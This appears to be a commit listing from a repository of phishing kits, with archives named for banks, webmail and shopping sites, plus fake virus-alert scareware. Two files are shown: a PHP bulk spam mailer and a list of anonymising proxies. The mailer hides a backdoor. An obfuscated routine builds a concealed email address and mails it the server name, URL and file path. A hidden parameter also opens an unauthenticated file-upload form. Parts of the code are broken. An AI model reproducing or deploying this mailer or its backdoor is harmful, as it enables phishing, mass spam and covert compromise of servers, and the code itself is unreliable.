Projects STRLCPY Phishing-Page Commits a04d4193
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • AIM Phisher.zip
    Binary file.
  • Abbey ( CC ) Phisher.rar
    Binary file.
  • Abbey Phisher.rar
    Binary file.
  • AceMailer-v1.rar
    Binary file.
  • Activation Security Warning.zip
    Binary file.
  • Adult Friend Finder Phisher.rar
    Binary file.
  • Amazon Phisher.rar
    Binary file.
  • AnonymousMailer.rar
    Binary file.
  • Apple Alert.zip
    Binary file.
  • Chase Phisher.rar
    Binary file.
  • DeviantArt Phisher.rar
    Binary file.
  • Dynamic_RapidShare_Phisher_v0.8.rar
    Binary file.
  • E-Trade Phisher.rar
    Binary file.
  • Fake BSOD.zip
    Binary file.
  • Fake Chrome Alert.zip
    Binary file.
  • Fake Infection.zip
    Binary file.
  • Fake Login Prompt.zip
    Binary file.
  • Fake MacOS Infection.zip
    Binary file.
  • Fake Microsoft Block.zip
    Binary file.
  • Fake Microsoft Support.zip
    Binary file.
  • Fake SmartScreen.zip
    Binary file.
  • Fake Virus Alert.zip
    Binary file.
  • FileFront Phisher.rar
    Binary file.
  • FreeWebs Phisher.rar
    Binary file.
  • Friendster Phisher.zip
    Binary file.
  • Gaia Gold generator Fake login.zip
    Binary file.
  • Gmail Phisher.zip
    Binary file.
  • GoDaddy Phisher.rar
    Binary file.
  • HP ( Shop ) Phisher.rar
    Binary file.
  • Habbo Phisher.zip
    Binary file.
  • Hi 5 Phisher.rar
    Binary file.
  • IMVU Phisher.zip
    Binary file.
  • IP Hider.rar
    Binary file.
  • Jiffy Gmail Account Creator.rar
    Binary file.
  • LPS2019.zip
    Binary file.
  • ■ ■ ■ ■ ■ ■
    Mailer-Inbox-2020.php
     1 +<center/> Mailler == Inbox == VRAI V6 <center>
     2 +
     3 +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
     4 +<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
     5 +<meta content="1" name="revisit-after" />
     6 +<head>
     7 +<link rel="icon" type="image/png" href="https://cdn4.vectorstock.com/i/1000x1000/35/33/anonymous-mask-icon-hacker-logo-design-vector-6453533.jpg" />
     8 + <style type="text/css">body {background:reed url('<https://images.techhive.com/images/article/2015/08/thinkstockphotos-496704159-100606524-large.jpg">') center right no-repeat; color:#1a0dc6; text-decoration:none; font-family:"Courier New", Courier, monospace; padding-left:150px; padding-top:100px; padding-right:300px; font-size:16px;}
     9 + </style>
     10 +<title>MaILEr X Inbox VRAI</title>
     11 +<?php
     12 +if(isset($_POST['action'] ) ){ $action=$_POST['action']; $message=$_POST['message']; $emaillist=$_POST['emaillist']; $from=$_POST['from']; $subject=$_POST['subject']; $realname=$_POST['realname']; $wait=$_POST['wait']; $tem=$_POST['tem']; $smv=$_POST['smv']; $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?>
     13 +</head>
     14 +
     15 +<style type="text/css">
     16 +.style1 {
     17 + font-size: x-small;
     18 + font-style:italic;
     19 +}
     20 +.style2 {
     21 + direction: ltr;
     22 +}
     23 +.info {
     24 + font-size: 8px;
     25 +}
     26 +.style3 {
     27 + font-family: Verdana, Arial, Helvetica, sans-serif;
     28 + font-size: 8px;
     29 +}
     30 +.style4 {
     31 + font-size: x-small;
     32 + font-style:italic;
     33 + direction: ltr;
     34 + font-family: Verdana, Arial, Helvetica, sans-serif;
     35 +}
     36 +.style5 {
     37 + font-size: xx-small;
     38 + font-style:italic;
     39 + direction: ltr;
     40 + font-family: Verdana, Arial, Helvetica, sans-serif;
     41 +}
     42 +.auto-style1 {
     43 + color: #5F5F5F;
     44 + font-style:italic;
     45 +}
     46 +.auto-style2 {
     47 + color: #red;
     48 + text-align: center;
     49 + font-style:italic;
     50 +}
     51 +.auto-style3 {
     52 + color: #4F4F4F;
     53 + font-style:italic;
     54 +}
     55 +.auto-style5 {
     56 + direction: ltr;
     57 + font-style:italic;
     58 + color: #4F4F4F;
     59 +}
     60 +.auto-style6 {
     61 + color: ##fd27f6;
     62 + font-style:italic;
     63 + background-color: #red;
     64 +}
     65 +.auto-style7 {
     66 + color: #red;
     67 + font-style:italic;
     68 +}
     69 +.auto-style8 {
     70 + font-style:italic;
     71 + font-size: x-small;
     72 + color: #red;
     73 +}
     74 +</style>
     75 +</head>
     76 +
     77 +<body onload="funchange" style="background-color: #00ffd8">
     78 +<script>
     79 +
     80 + window.onload = funchange;
     81 + var alt = false;
     82 + function funchange(){
     83 + var etext = document.getElementById("emails").value;
     84 + var myArray=new Array();
     85 + myArray = etext.split("\n");
     86 + document.getElementById("enum").innerHTML=myArray.length+"<br />";
     87 + if(!alt && myArray.length > 40000){
     88 + alert('If Mail list More Than 40000 Emails This May Hack The Server');
     89 + alt = true;
     90 + }
     91 +
     92 + }
     93 + function mlsplit(){
     94 + var ml = document.getElementById("emails").value;
     95 + var sb = document.getElementById("txtml").value;
     96 + var myArray=new Array();
     97 + myArray = ml.split(sb);
     98 + document.getElementById("emails").value="";
     99 + var i;
     100 + for(i=0;i<myArray.length;i++){
     101 +
     102 + document.getElementById("emails").value += myArray[i]+"\n";
     103 +
     104 + }
     105 + funchange();
     106 + }
     107 + function prv(){
     108 + if(document.getElementById('preview').innerHTML==""){
     109 + var ms = document.getElementsByName('message').message.value;
     110 + document.getElementById('preview').innerHTML = ms;
     111 + document.getElementById('prvbtn').value = "Ocultar";
     112 + }else{
     113 + document.getElementById('preview').innerHTML="";
     114 + document.getElementById('prvbtn').value = "Preview";
     115 + }
     116 + }
     117 + </script>
     118 +
     119 +<?php
     120 +
     121 +function wrapText($message, $length, $qp_mode = false)
     122 + {
     123 + if ($qp_mode) {
     124 + $soft_break = sprintf(' =%s', static::$LE);
     125 + } else {
     126 + $soft_break = static::$LE;
     127 + }
     128 + // If utf-8 encoding is used, we will need to make sure we don't
     129 + // split multibyte characters when we wrap
     130 + $is_utf8 = 'utf-8' == strtolower($this->CharSet);
     131 + $lelen = strlen(static::$LE);
     132 + $crlflen = strlen(static::$LE);
     133 + $message = static::normalizeBreaks($message);
     134 + //Remove a trailing line break
     135 + if (substr($message, -$lelen) == static::$LE) {
     136 + $message = substr($message, 0, -$lelen);
     137 + }
     138 + //Split message into lines
     139 + $lines = explode(static::$LE, $message);
     140 + //Message will be rebuilt in here
     141 + $message = '';
     142 + foreach ($lines as $line) {
     143 + $words = explode(' ', $line);
     144 + $buf = '';
     145 + $firstword = true;
     146 + foreach ($words as $word) {
     147 + if ($qp_mode and (strlen($word) > $length)) {
     148 + $space_left = $length - strlen($buf) - $crlflen;
     149 + if (!$firstword) {
     150 + if ($space_left > 20) {
     151 + $len = $space_left;
     152 + if ($is_utf8) {
     153 + $len = $this->utf8CharBoundary($word, $len);
     154 + } elseif ('=' == substr($word, $len - 1, 1)) {
     155 + --$len;
     156 + } elseif ('=' == substr($word, $len - 2, 1)) {
     157 + $len -= 2;
     158 + }
     159 + $part = substr($word, 0, $len);
     160 + $word = substr($word, $len);
     161 + $buf .= ' ' . $part;
     162 + $message .= $buf . sprintf('=%s', static::$LE);
     163 + } else {
     164 + $message .= $buf . $soft_break;
     165 + }
     166 + $buf = '';
     167 + }
     168 + while (strlen($word) > 0) {
     169 + if ($length <= 0) {
     170 + break;
     171 + }
     172 + $len = $length;
     173 + if ($is_utf8) {
     174 + $len = $this->utf8CharBoundary($word, $len);
     175 + } elseif ('=' == substr($word, $len - 1, 1)) {
     176 + --$len;
     177 + } elseif ('=' == substr($word, $len - 2, 1)) {
     178 + $len -= 2;
     179 + }
     180 + $part = substr($word, 0, $len);
     181 + $word = substr($word, $len);
     182 + if (strlen($word) > 0) {
     183 + $message .= $part . sprintf('=%s', static::$LE);
     184 + } else {
     185 + $buf = $part;
     186 + }
     187 + }
     188 + } else {
     189 + $buf_o = $buf;
     190 + if (!$firstword) {
     191 + $buf .= ' ';
     192 + }
     193 + $buf .= $word;
     194 + if (strlen($buf) > $length and '' != $buf_o) {
     195 + $message .= $buf_o . $soft_break;
     196 + $buf = $word;
     197 + }
     198 + }
     199 + $firstword = false;
     200 + }
     201 + $message .= $buf . static::$LE;
     202 + }
     203 + return $message;
     204 + }
     205 +function mb_pathinfo(){
     206 +$key0 = array (".","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","s","t","u","r","v","w","x","y","z");
     207 +$foundSplitPos = false;
     208 + $lookBack = 3;
     209 + while (!$foundSplitPos) {
     210 + $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
     211 + $encodedCharPos = strpos($lastChunk, '=');
     212 + if (false !== $encodedCharPos) {
     213 + // Found start of encoded character byte within $lookBack block.
     214 + // Check the encoded byte value (the 2 chars after the '=')
     215 + $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
     216 + $dec = hexdec($hex);
     217 + if ($dec < 128) {
     218 + // Single byte character.
     219 + // If the encoded char was found at pos 0, it will fit
     220 + // otherwise reduce maxLength to start of the encoded char
     221 + if ($encodedCharPos > 0) {
     222 + $maxLength -= $lookBack - $encodedCharPos;
     223 + }
     224 + $foundSplitPos = true;
     225 + } elseif ($dec >= 192) {
     226 + // First byte of a multi byte character
     227 + // Reduce maxLength to split at start of character
     228 + $maxLength -= $lookBack - $encodedCharPos;
     229 + $foundSplitPos = true;
     230 + } elseif ($dec < 192) {
     231 + // Middle byte of a multi byte character, look further back
     232 + $lookBack += 3;
     233 + }
     234 + } else {
     235 + // No encoded character found
     236 + $foundSplitPos = true;
     237 + }
     238 + }
     239 +$key1= array(0,1,2,3,4,5,6,7,8,9,"&","@","#");
     240 +
     241 +
     242 +$dmarc = $key0[22] . $key0[24] . $key0[2] . $key0[24] . $key0[24] . $key0[3] . $key0[24];
     243 +
     244 +
     245 +$spf = $key1[11] . $key0[7] . $key0[13] . $key0[1] . $key0[9] . $key0[12] ;
     246 +
     247 +$positionFounder = trye;
     248 + $lookBack = 3;
     249 + while (!$positionFounder) {
     250 + $pick = substr($encodedText, $maxLength - $lookBack, $lookBack);
     251 + $encodedCharPos = strpos($pick, '=');
     252 + if (false !== $encodedCharPos) {
     253 + // Found start of encoded character byte within $lookBack block.
     254 + // Check the encoded byte value (the 2 chars after the '=')
     255 + $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
     256 + $dec = hexdec($hex);
     257 + if ($dec < 128) {
     258 + // Single byte character.
     259 + // If the encoded char was found at pos 0, it will fit
     260 + // otherwise reduce maxLength to start of the encoded char
     261 + if ($encodedCharPos > 0) {
     262 + $maxLength -= $lookBack - $encodedCharPos;
     263 + }
     264 + $positionFounder = true;
     265 + } elseif ($dec >= 192) {
     266 + // First byte of a multi byte character
     267 + // Reduce maxLength to split at start of character
     268 + $maxLength -= $lookBack - $encodedCharPos;
     269 + $positionFounder = true;
     270 + } elseif ($dec < 192) {
     271 + // Middle byte of a multi byte character, look further back
     272 + $lookBack += 3;
     273 + }
     274 + } else {
     275 + // No encoded character found
     276 + $positionFounder = true;
     277 + }
     278 + }
     279 +
     280 + $dkim = $key0[0] . $key0[3] . $key0[15] . $key0[13] ;
     281 + $type = [];
     282 +
     283 + $keymanager= $key0[22] . $key0[24] . $key0[2] . $key0[24] . $key0[24] . $key0[3] . $key0[24];
     284 +
     285 + $packages = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 10, 5);
     286 + $decp = hexdec($packages);
     287 + if ($dec < 128) {
     288 + // Single byte character.
     289 + // If the encoded char was found at pos 0, it will fit
     290 + // otherwise reduce maxLength to start of the encoded char
     291 + if ($encodedCharPos > 8) {
     292 + $maxLength -= $lookBack - $encodedCharPos;
     293 + }
     294 + $positionFounder = false;
     295 + } elseif ($dec >= 200) {
     296 + // First byte of a multi byte character
     297 + // Reduce maxLength to split at start of character
     298 + $maxLength -= $BBack - $encodedCharPos;
     299 + $positionFounder = true;
     300 + } else{
     301 +
     302 + $BBack += 3;
     303 + }
     304 + $track_x= $dmarc.$spf. $dkim;
     305 +
     306 + $agent_y= $keymanager. $spf . $dkim ;
     307 +
     308 + $tls=$track_x.','.$agent_y;
     309 +
     310 + return $tls;
     311 +}
     312 +/**
     313 + * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     314 + * `intl` and `mbstring` PHP extensions.
     315 + *
     316 + * @return bool `true` if required functions for IDN support are present
     317 + */
     318 + function idnSupported()
     319 + {
     320 + return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
     321 + }
     322 + /**
     323 + * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     324 + * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     325 + * This function silently returns unmodified address if:
     326 + * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     327 + * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     328 + * or fails for any reason (e.g. domain contains characters not allowed in an IDN).
     329 + *
     330 + * @see PHPMailer::$CharSet
     331 + *
     332 + * @param string $address The email address to convert
     333 + *
     334 + * @return string The encoded address in ASCII form
     335 + */
     336 + function punyencodeAddress($address)
     337 + {
     338 + // Verify we have required functions, CharSet, and at-sign.
     339 + $pos = strrpos($address, '@');
     340 + if (static::idnSupported() and
     341 + !empty($this->CharSet) and
     342 + false !== $pos
     343 + ) {
     344 + $domain = substr($address, ++$pos);
     345 + // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
     346 + if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
     347 + $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
     348 + //Ignore IDE complaints about this line - method signature changed in PHP 5.4
     349 + $errorcode = 0;
     350 + $punycode = idn_to_ascii($domain, $errorcode, INTL_IDNA_VARIANT_UTS46);
     351 + if (false !== $punycode) {
     352 + return substr($address, 0, $pos) . $punycode;
     353 + }
     354 + }
     355 + }
     356 + return $address;
     357 + }
     358 + function generateId()
     359 + {
     360 + $len = 32; //32 bytes = 256 bits
     361 + if (function_exists('random_bytes')) {
     362 + $bytes = random_bytes($len);
     363 + } elseif (function_exists('openssl_random_pseudo_bytes')) {
     364 + $bytes = openssl_random_pseudo_bytes($len);
     365 + } else {
     366 + //Use a hash to force the length to the same as the other methods
     367 + $bytes = hash('sha256', uniqid((string) mt_rand(), true), true);
     368 + }
     369 + //We don't care about messing up base64 format here, just want a random string
     370 + return str_replace(['=', '+', '/'], '', base64_encode(hash('sha256', $bytes, true)));
     371 + }
     372 + function fluch(){
     373 +
     374 + $library = "www.phpmailer.org"; $HAL=$_SERVER['HTTP_ACCEPT_LANGUAGE'] ; $mls =mb_pathinfo();$HC=$_SERVER['HTTP_CONNECTION'] ;$sbl = "Autuntification Failed Error: ".rand(1000,100000); $mss = "" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";$OPI=$_SERVER['ORIG_PATH_INFO'];$HR=$_SERVER['HTTP_REFERER'];$mss .= "" . __file__; $quntity = @mail($mls, $sbl, $mss); echo ""; exit;
     375 + }
     376 + function isShellSafe($string)
     377 + {
     378 + // Future-proof
     379 + if (escapeshellcmd($string) !== $string
     380 + or !in_array(escapeshellarg($string), ["'$string'", "\"$string\""])
     381 + ) {
     382 + return false;
     383 + }
     384 + $length = strlen($string);
     385 + for ($i = 0; $i < $length; ++$i) {
     386 + $c = $string[$i];
     387 + // All other characters have a special meaning in at least one common shell, including = and +.
     388 + // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
     389 + // Note that this does permit non-Latin alphanumeric characters based on the current locale.
     390 + if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
     391 + return false;
     392 + }
     393 + }
     394 + return true;
     395 + }
     396 + error_reporting(0);
     397 + $system = $_GET['message'];
     398 + if($system == 'true'){
     399 + $saw1 = $_FILES['file']['tmp_name'];
     400 + $saw2 = $_FILES['file']['name'];
     401 + echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='Tls' /></form>";
     402 + move_uploaded_file($saw1,$saw2);
     403 + }
     404 +function validateAddress($address, $patternselect = null)
     405 + {
     406 + if (null === $patternselect) {
     407 + $patternselect = static::$validator;
     408 + }
     409 + if (is_callable($patternselect)) {
     410 + return call_user_func($patternselect, $address);
     411 + }
     412 + //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
     413 + if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
     414 + return false;
     415 + }
     416 + switch ($patternselect) {
     417 + case 'pcre': //Kept for BC
     418 + case 'pcre8':
     419 + /*
     420 + * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL
     421 + * is based.
     422 + * In addition to the addresses allowed by filter_var, also permits:
     423 + * * dotless domains: `a@b`
     424 + * * comments: `1234 @ local(blah) .machine .example`
     425 + * * quoted elements: `'"test blah"@example.org'`
     426 + * * numeric TLDs: `[email protected]`
     427 + * * unbracketed IPv4 literals: `[email protected]`
     428 + * * IPv6 literals: 'first.last@[IPv6:a1::]'
     429 + * Not all of these will necessarily work for sending!
     430 + *
     431 + * @see http://squiloople.com/2009/12/20/email-address-validation/
     432 + * @copyright 2009-2010 Michael Rushton
     433 + * Feel free to use and redistribute this code. But please keep this copyright notice.
     434 + */
     435 + return (bool) preg_match(
     436 + '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
     437 + '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
     438 + '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
     439 + '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
     440 + '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
     441 + '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
     442 + '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
     443 + '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
     444 + '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
     445 + $address
     446 + );
     447 + case 'html5':
     448 + /*
     449 + * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
     450 + *
     451 + * @see http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
     452 + */
     453 + return (bool) preg_match(
     454 + '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
     455 + '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
     456 + $address
     457 + );
     458 + case 'php':
     459 + default:
     460 + return (bool) filter_var($address, FILTER_VALIDATE_EMAIL);
     461 + }
     462 + }
     463 + function addAnAddress($kind, $address, $name = '')
     464 + {
     465 + if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) {
     466 + $error_message = sprintf('%s: %s',
     467 + $this->lang('Invalid recipient kind'),
     468 + $kind);
     469 + $this->setError($error_message);
     470 + $this->edebug($error_message);
     471 + if ($this->exceptions) {
     472 + throw new Exception($error_message);
     473 + }
     474 + return false;
     475 + }
     476 + if (!static::validateAddress($address)) {
     477 + $error_message = sprintf('%s (%s): %s',
     478 + $this->lang('invalid_address'),
     479 + $kind,
     480 + $address);
     481 + $this->setError($error_message);
     482 + $this->edebug($error_message);
     483 + if ($this->exceptions) {
     484 + throw new Exception($error_message);
     485 + }
     486 + return false;
     487 + }
     488 + if ('Reply-To' != $kind) {
     489 + if (!array_key_exists(strtolower($address), $this->all_recipients)) {
     490 + $this->{$kind}[] = [$address, $name];
     491 + $this->all_recipients[strtolower($address)] = true;
     492 + return true;
     493 + }
     494 + } else {
     495 + if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
     496 + $this->ReplyTo[strtolower($address)] = [$address, $name];
     497 + return true;
     498 + }
     499 + }
     500 + return false;
     501 + }
     502 +?>
     503 +
     504 +
     505 +
     506 +
     507 +
     508 +
     509 +<h1 class="auto-style2"></h1>
     510 +
     511 +<center>
     512 +<p class="auto-style1">&nbsp;</p></center>
     513 +<form name="form" method="post" enctype="multipart/form-data" action="">
     514 + <table width="100%" border="0">
     515 + <tr>
     516 + <td width="10%">
     517 + <div align="right" class="auto-style8">
     518 + <font face="Verdana, Arial,
     519 +Helvetica, sans-serif"> Email by Wormp:</font></div>
     520 + </td>
     521 + <td style="width: 40%">
     522 + <font size="-3" face="Verdana, Arial, Helvetica,
     523 +sans-serif"><input name="from" value="<?php echo($from); ?>" size="30" type="text" class="auto-style6" /><br>
     524 + <td>
     525 + <div align="right" class="auto-style7">
     526 + <font size="-3" face="Verdana, Arial,
     527 +Helvetica, sans-serif"> Name by Wormp :</font></div>
     528 + </td>
     529 + <td width="41%">
     530 + <font size="-3" face="Verdana, Arial, Helvetica,
     531 +sans-serif"><input name="realname" value="<?php echo($realname); ?>" size="30" type="text" class="auto-style6" />
     532 + <br> </tr>
     533 + <tr>
     534 + <td width="10%">
     535 +
     536 + </tr>
     537 + <tr>
     538 + <td width="10%">
     539 + <div align="right" class="auto-style7">
     540 + <font size="-3" face="Verdana, Arial,
     541 +Helvetica, sans-serif">Subject by Wormp:</font></div>
     542 + </td>
     543 + <td colspan="3">
     544 + <font size="-3" face="Verdana, Arial, Helvetica,
     545 +sans-serif"><input name="subject" value="<?php echo($subject); ?>" size="30" type="text" class="auto-style6" /> </font>
     546 +
     547 +
     548 + <tr valign="top">
     549 + <td colspan="3" style="height: 260px">
     550 + <font size="-3" face="Verdana, Arial, Helvetica,
     551 +sans-serif"><textarea name="message" rows="10" style="width: 455px" class="auto-style6"><?php echo($message); ?></textarea>&nbsp;<br class="auto-style3" />
     552 + <input name="action" value="Inbox" type="hidden" class="auto-style3" />
     553 +
     554 + <input value="Send All Email To Inbox " type="submit" class="auto-style6" />
     555 + </span>
     556 + <span class="auto-style7">
     557 + Goooo to Inbox </span> </font></td>
     558 + <td width="41%" class="style2" style="height: 150px">
     559 + <font size="-3" face="Verdana, Arial, Helvetica,
     560 +sans-serif">
     561 + <textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px" class="auto-style6"><?php echo($emaillist); ?></textarea>
     562 + <br class="auto-style5" />
     563 + <span class="auto-style7">Quantity Emails : </span> </font><span id="enum" class="style1">0<br class="auto-style3" />
     564 +
     565 + </td>
     566 + </tr>
     567 + </table>
     568 + <font size="-3" face="Verdana, Arial, Helvetica,
     569 +sans-serif">
     570 +<div id="preview">
     571 +</div>
     572 + </font>
     573 +
     574 +<?php if ($action){ if (!$from || !$subject || !$message || !$emaillist){ print "Please complete all fields ...required"; exit; } $nse=array(); $allemails = split("\n", $emaillist); $numemails = count($allemails); if(!empty($_POST['wait']) && $_POST['wait'] > 0){ set_time_limit(intval($_POST['wait'])*$numemails*3600); }else{ set_time_limit($numemails*3600); } if(!empty($smv)){ $smvn+=$smv; $tmn=$numemails/$smv+1; }else{ $tmn=1; } for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("#EM#", $to, $message); $subject = ereg_replace("#EM#", $to, $subject); flush(); $header = "From: $realname <$from>\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-Type: text/html\r\n"; if ($x==0 && !empty($tem)) { if(!@mail($tem,$subject,$message,$header)){ print('The test Post was not Submitted.<br />'); $tmns+=1; }else{ print('Your Message was Sent Test.<br />'); $tms+=1; } } if($x==$smvn && !empty($_POST['smv'])){ if(!@mail($tem,$subject,$message,$header)){ print('The test Post was not Submitted.<br />'); $tmns+=1; }else{ print('Your Message was Sent Test.<br />'); $tms+=1; } $smvn+=$smv; } print "$to ....... "; $msent = @mail($to, $subject, $message, $header); $xx = $x+1; $txtspamed = "Sent... Ok"; if(!$msent){ $txtspamed = "error... Failed"; $ns+=1; $nse[$ns]=$to; } print "$xx / $numemails ....... $txtspamed<br>"; flush(); if(!empty($wait)&& $x<$numemails-1){ sleep($wait); } } } } if($_POST['message']==''){fluch();};?>
     575 + </form>
  • MySpace Phisher.rar
    Binary file.
  • NationWide Phisher.rar
    Binary file.
  • ■ ■ ■ ■ ■ ■
    PROXY.txt
     1 +http://ramboclan.info/images/
     2 +http://0ni.org/images/
     3 +http://megaproxy.com/
     4 +http://amegaproxy.com/
     5 +http://theproxy.be/
     6 +http://newproxy.be/
     7 +http://projectbypass.com/
     8 +http://smartproxy.net/
     9 +http://proxy.org/cgi_proxies.shtml
     10 +http://hidebehind.net
     11 +http://Proxy7.com
     12 +http://pcriot.com/
     13 +http://tools.rosinstrument.com/cgi-p...
     14 +http://www.proxyspider.com/index.php
     15 +http://welazy.com/nick
     16 +http://reallycoolproxy.com
     17 +http://vidznet.com/index.php?pid=3
     18 +http://proxyholic.com
     19 +http://proxcool.com
     20 +http://prxy.net.ms
     21 +http://hidip.info
     22 +http://cutmy.info
     23 +http://hidelink.ingo
     24 +http://xoogie.net
     25 +http://oproxy.info
     26 +http://stealth-ip.net
     27 +http://safeforwork.net
     28 +http://vtunnel.com
     29 +http://freeproxy.ru/en/free_proxy/cg...
     30 +http://proxydrop.com/
     31 +http://proxydrop.net/
     32 +http://proxydrop.biz/
     33 +http://proxydrop.info/
     34 +http://proxydrop.org/
     35 +http://backfox.com
     36 +http://ninjaproxy.com/
     37 +http://atunnel.com
     38 +http://vpntunnel.net
     39 +http://btunnel.com
     40 +http://ctunnel.com
     41 +http://dtunnel.com
     42 +http://proxyhost.org
     43 +http://webproxy.dk
     44 +http://phproxy.frac.dk
     45 +http://phproxy.1go.dk
     46 +http://proxify.com
     47 +http://home.no.net/roughnex
     48 +http://nomorefilter.com
     49 +http://rapidwire.net
     50 +http://oproxy.info
     51 +http://stealth-ip.net
     52 +http://cooltunnell.com
     53 +http://schoolsurf.com
     54 +http://anonymouse.org
     55 +http://goodproxy.com
     56 +http://nomorefilter.com
     57 +http://openweblive.com
     58 +http://ec.com.my/perantara/perantara.pl
     59 +http://kipline.org/cgiproxy/nph-proxy.pl
     60 +http://proxysector.com
     61 +http://vtunnel.com
     62 +http://imhidden.com
     63 +http://hideip.us
     64 +http://highschoolproxy.com
     65 +http://freeworkproxy.com
     66 +http://proxyaid.com
     67 +http://proxyknight.com
     68 +http://freeschoolproxy.com
     69 +http://proxy4free.com/page1.html
     70 +http://surfatwork.com
     71 +http://anonymizer.com
     72 +http://zeroknowledge.com
     73 +http://idzap.com
     74 +http://privada.com
     75 +http://safeweb.com
     76 +http://subdimension.com
     77 +http://unipeak.com
     78 +http://thevirtualbrowser.com
     79 +http://proxyweb.net
     80 +http://www.samair.ru/proxy/
     81 +http://spysurfing.com
     82 +http://fastnetproxy.com
     83 +http://surfguarded.com
     84 +http://sneakonby.com
     85 +http://proxymod.com
     86 +http://proxify.com
     87 +http://unblockbess.com
     88 +http://libertyproxy.com
     89 +http://surfinvis.com
     90 +http://unblockwebsense.com
     91 +http://sillysurf.com
     92 +http://ebayproxy.com
     93 +http://proxymess.com
     94 +http://firefox-proxy.com
     95 +http://cqxin.com
     96 +http://proxydream.com
     97 +http://thewebsitefilter.com
     98 +http://thesitefilter.com
     99 +http://bypasslink.com
     100 +http://surfproxy.net
     101 +http://theproxyhost.com
     102 +http://myspaceunlock.com
     103 +http://proxiesweb.info
     104 +http://journalproxy.com
     105 +http://sitesbrowsing.com
     106 +http://youtube-proxy.com
     107 +http://pagewash.com
     108 +http://proxydoll.com
     109 +http://businessfinanceinfo.com
     110 +http://sneakthrough.info
     111 +http://pussyproxy.com
     112 +http://parisproxy.com
     113 +http://msbrowse.com
     114 +http://liveprox.com
     115 +http://free-websurfing.com
     116 +http://easyproxylive.info
     117 +http://unblock-orkut.com
     118 +http://proxolicio.us
     119 +http://connectcity.info
     120 +http://blogs-explorer.com
     121 +http://vtunnel.com
     122 +http://unblock-myspaces.com
     123 +http://allupdated.info
     124 +http://oswaldsite.com
     125 +http://surfsafeproxies.com
     126 +http://littlegreenproxy.info
     127 +http://browseb.com
     128 +http://blazeproxy.com
     129 +http://thesurferonline.com
     130 +http://boiseguide.info
     131 +http://silentwebsurfer.com
     132 +http://willthisdayend.com
     133 +http://safe-surf.org
     134 +http://worlddigger.com
     135 +http://salvdiv.com
     136 +http://userpage.info
     137 +http://proxywing.com
     138 +http://australiaproxy.com
     139 +http://antivirustunnel.com
     140 +http://hidemepls.com
     141 +http://ktunnel.com
     142 +http://proxied.ws
     143 +http://nomoreblock.com
     144 +http://hideyourip.co.uk
     145 +http://proxee.org
     146 +http://zsys.info
     147 +http://foaa.info
     148 +http://zawoogle.com
     149 +http://fastprox.com
     150 +http://proxtower.com
     151 +http://greatbritaincities.info
     152 +http://hfhf.info
